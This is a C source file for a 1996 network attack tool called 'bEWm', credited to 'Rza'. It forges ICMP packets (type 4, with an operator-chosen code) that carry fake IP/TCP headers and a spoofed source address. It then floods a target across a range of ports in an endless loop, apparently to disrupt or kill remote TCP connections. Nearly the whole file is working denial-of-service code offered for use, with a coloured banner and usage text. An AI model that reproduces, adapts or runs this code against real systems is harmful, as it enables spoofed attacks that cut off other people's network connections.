#include <sys/types.h>
#include <sys/socket.h>
#include <sys/signal.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr) + 16)
#define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 16)
#define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr))
#define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
#define offsetICMP (sizeof(struct iphdr))
#define offsetRIP  (0)

static int thecode;
int s = 0;

u_short cksum( u_short *, int );

void sendkill( char *, int, char *, int );

u_short cksum( u_short *buf, int nwords ) {
 unsigned long sum;

 for ( sum = 0; nwords > 0; nwords -- )
  sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
 struct  sockaddr_in *address;
 struct  hostent     *host;
 address = (struct sockaddr_in *)addr;
 (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
 /* fill in the easy fields */ 
 address->sin_family = AF_INET;
 address->sin_port = htons(port);
 /* first, check if the address is an ip address */
 address->sin_addr.s_addr = inet_addr(hostname);
 if ( (int)address->sin_addr.s_addr == -1) {
  /* it wasn't.. so we try it as a long host name */
  host = gethostbyname(hostname);
  if (host) {
   /* wow.  It's a host name.. set the fields */
   /* ?? address->sin_family = host->h_addrtype; */
   bcopy( host->h_addr, (char *)&address->sin_addr,
   host->h_length);
  }
  else {
   /* oops.. can't find it.. */
   puts("Couldn't resolve address!!!");
   exit(-1);
}}}

void sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
 char *packet;
 static struct sockaddr_in local, remote;
 static int sock = 0;
 if ( !sock ) {
  resolve_address( (struct sockaddr *)&local, fromhost, fromport );
  resolve_address( (struct sockaddr *)&remote, tohost, toport );
  sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if ( sock == -1 ) {
   perror("Getting raw socket");
   exit(-1);
}}
/* Get memory for the packet */
packet = (char *)malloc( PACKETSIZE );
if ( !packet ) {
 perror("Getting space for packet");
 exit(-1);
}
/* Fill in our pretended TCP header note - since this was allegedly an 
 * outgoing packet...  we have to flip the source and destination stuff
 */
{
struct tcphdr * fake_tcp;
fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
fake_tcp->th_dport = htons(fromport);
fake_tcp->th_sport = htons(toport);
fake_tcp->th_seq = 0x1984;
}
/*
 * fill in the fake IP header the same reversal as above still applies.. 
 * the packet was sent to our machine ( yeah right )
 */
{
struct iphdr * fake_ip;
fake_ip = ( struct iphdr *) ( packet + offsetIP );

/* these fields are irrelevant -- never checked?? */
fake_ip->version = 4;
fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */
fake_ip->tos = 0;
fake_ip->id = htons( getpid() & 255 );
fake_ip->frag_off = 0;
fake_ip->ttl = 1; /* not so long to live anymore ***changed*** */
fake_ip->check = 31337;  /* this CAN'T be checked..so do something != 0 */

/* these fields are used ..  */
fake_ip->ihl = 5;
bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
fake_ip->protocol = 6;  /* a TCP packet */
}

/* fill in the ICMP header this is actally rather trivial, though don't 
 * forget the checksum
 */
{
struct icmphdr * icmp;
icmp = ( struct icmphdr *)(packet + offsetICMP );
icmp->type = 4;
icmp->code = thecode; /* this will generate an error message */
icmp->un.gateway = 0;
icmp->checksum = 0;
icmp->checksum = cksum( (u_short *)(icmp),  ICMPSIZE >> 1 );
}
/* finally, fill in the IP header this is almost the same as above though 
 * this time, it is the ip header that really takes the packet places. make 
 * sure the checksum and addresses are right
 */
{
struct iphdr * real_ip;
real_ip = ( struct iphdr *)packet;
real_ip->version = 4;
real_ip->ihl = 5;
real_ip->tot_len = htons(PACKETSIZE);
real_ip->tos = ( 7 << 5) | 4;
real_ip->ttl = 255;
real_ip->protocol = 1;
real_ip->check = 0;
real_ip->id = htons( 3 );
real_ip->frag_off = 0;
bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L  );
real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr ) >> 1 );
}
/* and now finally send it out into the net */
{
int result;
result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) );
if ( result != PACKETSIZE ) {
 perror("sending packet" );
}}}

void finish() {
(void)signal(SIGINT, SIG_IGN);
(void)putchar('\n');
(void)printf("\033[32m-\033[m\033[2m-\033[m\033[32m- \033[m\033[2mb\033[m\033[32mEWm \033[m\033[2ms\033[m\033[32mTATISTICs -\033[m\033[2m-\033[m\033[32m-\033[m\n"); 
(void)printf("\033[2mp\033[m\033[32mACKETs \033[m\033[2ms\033[m\033[32mENt: \033[m\033[2m%d\033[m\n", s); 
(void)putchar('\n'); exit(0); }

main(int argc, char ** argv) {
 int codes,i;

 puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0
33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0
33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m");
 puts("\033[2mb\033[m\033[32mEWm");
 puts("\033[2mW\033[m\033[32mritten by Rza");
 puts("\033[m\033[2mv\033[m\033[32mEr 1.0");
 puts("\033[2mT\033[m\033[32mue Jun 11 06:54:07 EDT 1996");
 puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0
33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0
33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m");

 if (argc != 7) {
  puts("\033[32mSYNTAX\033[m\033[2m: <\033[m\033[32msrcaddress\033[m\033[2m> <\033[m\033[32msrcport\033[m\033[2m> <\033[m\033[32mdestaddress\033[m\033[2m> <\033[m\033[32mdestportlow\033[m\033[2m> <\033[m\033[32mdestporthigh\033[m\033[2m> <\033[m\033[32mic
mp\033[m\033[2m>\033[m");
  exit(-1);
 }

 thecode = atoi(argv[6]);

sendloop:
for( i = atoi(argv[4]) ; i <= atoi(argv[5]) ; i++) {
 s++;
 printf("\033[2m%d\033[m\033[32m bytes from \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\033[32m to \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\n",PACKETSIZE+ICMPSIZE,argv[1],atoi(argv[2]),argv[3],i);
 sendkill(argv[1], atoi(argv[2]), argv[3], i);
 usleep(300000);
 (void)signal(SIGINT, finish);
 }
goto sendloop;
}

